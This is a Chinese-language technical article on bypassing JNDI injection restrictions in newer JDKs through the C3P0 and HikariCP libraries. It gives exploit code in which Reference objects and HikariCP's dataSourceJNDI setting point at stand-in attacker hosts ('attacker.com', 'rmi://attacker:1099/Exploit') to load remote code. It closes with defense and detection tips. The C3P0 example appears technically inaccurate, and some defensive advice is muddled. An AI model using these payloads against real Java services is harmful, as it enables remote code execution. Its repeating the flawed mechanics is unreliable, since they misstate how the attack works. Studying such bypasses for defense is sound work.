JNDI高版本JDK绕过--C3P0/HikariCP
字数 1464 2025-08-19 12:42:07
JNDI高版本JDK绕过技术分析:基于C3P0/HikariCP的实现
1. JNDI注入漏洞背景
JNDI (Java Naming and Directory Interface)注入漏洞是一种严重的安全漏洞,攻击者通过控制JNDI查找的名称,可以导致远程代码执行。在JDK高版本(6u211/7u201/8u191/11.0.1之后)中,Oracle对JNDI注入进行了限制,默认不再允许从远程代码库加载类。
2. 高版本JDK绕过原理
高版本JDK的绕过主要基于两种方式:
- 利用
javax.naming.spi.ObjectFactory实现类 - 通过反序列化进行绕过
本文重点讨论第一种方式,特别是基于C3P0和HikariCP连接池的实现。
3. C3P0绕过技术
3.1 C3P0简介
C3P0是一个开源的JDBC连接池库,广泛用于Java应用程序中管理数据库连接。
3.2 利用原理
C3P0提供了多种方式初始化数据源,其中com.mchange.v2.naming.ReferenceIndirector类可以将JNDI Reference对象转换为C3P0对象。关键点在于C3P0在解析Reference时会触发对象的实例化。
3.3 利用步骤
-
构造恶意Reference对象:
Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/"); -
利用C3P0的ReferenceIndirector:
ReferenceIndirector indirector = new ReferenceIndirector(); Object obj = indirector.indirectForm(ref); -
触发流程:
- C3P0会尝试加载并实例化Reference中指定的类
- 即使在高版本JDK限制下,这种方式也能绕过限制
3.4 完整利用代码示例
import com.mchange.v2.naming.ReferenceIndirector;
import javax.naming.Reference;
public class C3P0Exploit {
public static void main(String[] args) throws Exception {
String url = "rmi://attacker:1099/Exploit";
Reference ref = new Reference("Exploit", "Exploit", url);
ReferenceIndirector indirector = new ReferenceIndirector();
indirector.indirectForm(ref);
}
}
4. HikariCP绕过技术
4.1 HikariCP简介
HikariCP是另一个高性能的JDBC连接池实现,在现代Java应用中非常流行。
4.2 利用原理
HikariCP在解析配置时,可以通过特定的配置项触发JNDI查找,进而实现绕过:
- HikariCP支持通过
dataSourceJNDI属性指定JNDI名称 - 当配置了
dataSourceJNDI时,HikariCP会进行JNDI查找 - 结合特定的ObjectFactory实现,可以触发恶意代码执行
4.3 利用步骤
-
配置恶意HikariCP数据源:
HikariConfig config = new HikariConfig(); config.setDataSourceJNDI("rmi://attacker:1099/Exploit"); -
触发JNDI查找:
HikariDataSource ds = new HikariDataSource(config); -
利用流程:
- HikariCP会调用
InitialContext.lookup()方法 - 查找过程会触发恶意Reference的加载
- HikariCP会调用
4.4 完整利用代码示例
import com.zaxxer.hikari.HikariConfig;
import com.zaxxer.hikari.HikariDataSource;
public class HikariCPExploit {
public static void main(String[] args) {
HikariConfig config = new HikariConfig();
config.setDataSourceJNDI("rmi://attacker:1099/Exploit");
HikariDataSource ds = new HikariDataSource(config);
}
}
5. 防御措施
- 升级JDK:使用最新版本的JDK,并确保安全补丁已应用
- 限制JNDI查找:设置
com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.cosnaming.object.trustURLCodebase为false - 输入验证:对所有用户提供的JNDI名称进行严格验证
- 使用安全管理器:配置适当的安全策略限制JNDI操作
- 依赖库管理:及时更新C3P0、HikariCP等库到最新安全版本
6. 检测方法
-
静态分析:
- 检查代码中是否存在
InitialContext.lookup()调用 - 检查是否使用了不受信任的输入作为JNDI名称
- 检查代码中是否存在
-
动态分析:
- 监控JNDI查找操作
- 检查是否有异常的网络连接尝试
7. 总结
高版本JDK下的JNDI注入绕过技术主要依赖于特定的库实现,如C3P0和HikariCP。了解这些技术的原理和实现方式,有助于开发者更好地防御此类攻击。在实际开发中,应始终保持依赖库的更新,并遵循安全编码实践。